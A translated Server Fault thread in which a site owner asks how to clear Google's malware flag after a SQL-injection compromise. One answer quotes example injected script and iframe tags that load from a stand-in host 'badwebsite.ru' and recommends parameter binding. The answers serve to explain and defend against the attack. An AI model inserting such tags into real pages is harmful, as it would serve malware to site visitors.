AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题 / 78439
Accepted
Cyclone
Cyclone
Asked: 2009-10-27 11:29:43 +0800 CST2009-10-27 11:29:43 +0800 CST 2009-10-27 11:29:43 +0800 CST

我的网站被感染了,我恢复了未感染文件的备份,取消标记为危险需要多长时间?

  • 772

我的网站 www.sagamountain.com 最近被恶意软件分发者感染(或者至少我认为可能已经感染)。

我已删除所有外部内容、谷歌广告、萤火虫聊天等。

我上传了几周前的备份,当时没有问题。

我修补了 SQL 注入漏洞。

现在,将其取消标记为危险需要多长时间?我在哪里可以联系谷歌?

我不确定这是否是发布它的正确位置,但由于它可能是服务器问题,我也可以。站点可以通过病毒在整个服务器上注入base64代码,还是仅通过sql注入?

谢谢你的帮助,病毒把我吓坏了。

是否有可以扫描我的页面并告诉我问题所在的在线病毒扫描程序?

web-server
  • 2 2 个回答
  • 319 Views

2 个回答

  • Voted
  1. Best Answer
    ManiacZX
    2009-10-27T12:15:52+08:002009-10-27T12:15:52+08:00

    关于谷歌,查看他们关于受恶意软件感染的网站的页面。

    我的网站和 Google › 我的网站被黑了

    您将需要登录到他们的网站管理员工具页面,将您的网站添加到您的帐户并执行验证步骤。然后,您将可以访问做一些事情,例如要求您的网站接受审查,不再被感染。

    • 4
  2. Kyle Smith
    2009-10-27T11:36:30+08:002009-10-27T11:36:30+08:00

    这是当今相对普遍的问题。许多蠕虫试图通过 SQL 注入或修改本地 .html 内容,然后将其上传到 Web 服务器,从而使自己进入您的服务器代码。通常他们会尝试放置:

    <script src='http://badwebsite.ru/blah.js'></script>
    

    或者

    <iframe src='http://badwebsite.ru/blah.html' />
    

    通过 SQL 注入或源代码修改进入您的源页面。

    据我所知,这些蠕虫通过 JavaScript 混淆引擎或类似引擎修改它们的攻击向量,并且难以扫描。

    最近两次大规模远程代码执行使这些攻击成为可能:

    • Adobe Flash JavaScript 漏洞利用允许使用大约 15K 的任意代码创建 Flash 对象。
    • 对 Windows 系统上由 Microsoft .NET 3.5 安装的 Firefox 中的 Windows Presentation Framework 扩展的利用。

    这两者都是巨大的安全隐患。

    您应该尽可能在 Web 应用程序开发中使用参数绑定,以避免 SQL 注入攻击。

    • 3

相关问题

  • 提供 70,000 个静态文件 (jpg) 的最佳方式?

  • 持续监控许多服务器运行状况的简单方法?

  • 构建家庭服务器时要考虑的要点[关闭]

  • 用于 Web 应用服务器的 FreeBSD 磁盘分区(Apache/MySQL/PHP)

  • 我需要在 Rackspace 专用/托管网络和数据库 (Linux) 服务器上安装防病毒软件吗?

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    从 IP 地址解析主机名

    • 8 个回答
  • Marko Smith

    如何按大小对 du -h 输出进行排序

    • 30 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    Windows 中执行反向 DNS 查找的命令行实用程序是什么?

    • 14 个回答
  • Marko Smith

    如何检查 Windows 机器上的端口是否被阻塞?

    • 4 个回答
  • Marko Smith

    我应该打开哪个端口以允许远程桌面?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    MikeN 在 Nginx 中,如何在维护子域的同时将所有 http 请求重写为 https? 2009-09-22 06:04:43 +0800 CST
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    0x89 bash中的双方括号和单方括号有什么区别? 2009-08-10 13:11:51 +0800 CST
  • Martin Hope
    kch 如何更改我的私钥密码? 2009-08-06 21:37:57 +0800 CST
  • Martin Hope
    Kyle Brandt IPv4 子网如何工作? 2009-08-05 06:05:31 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve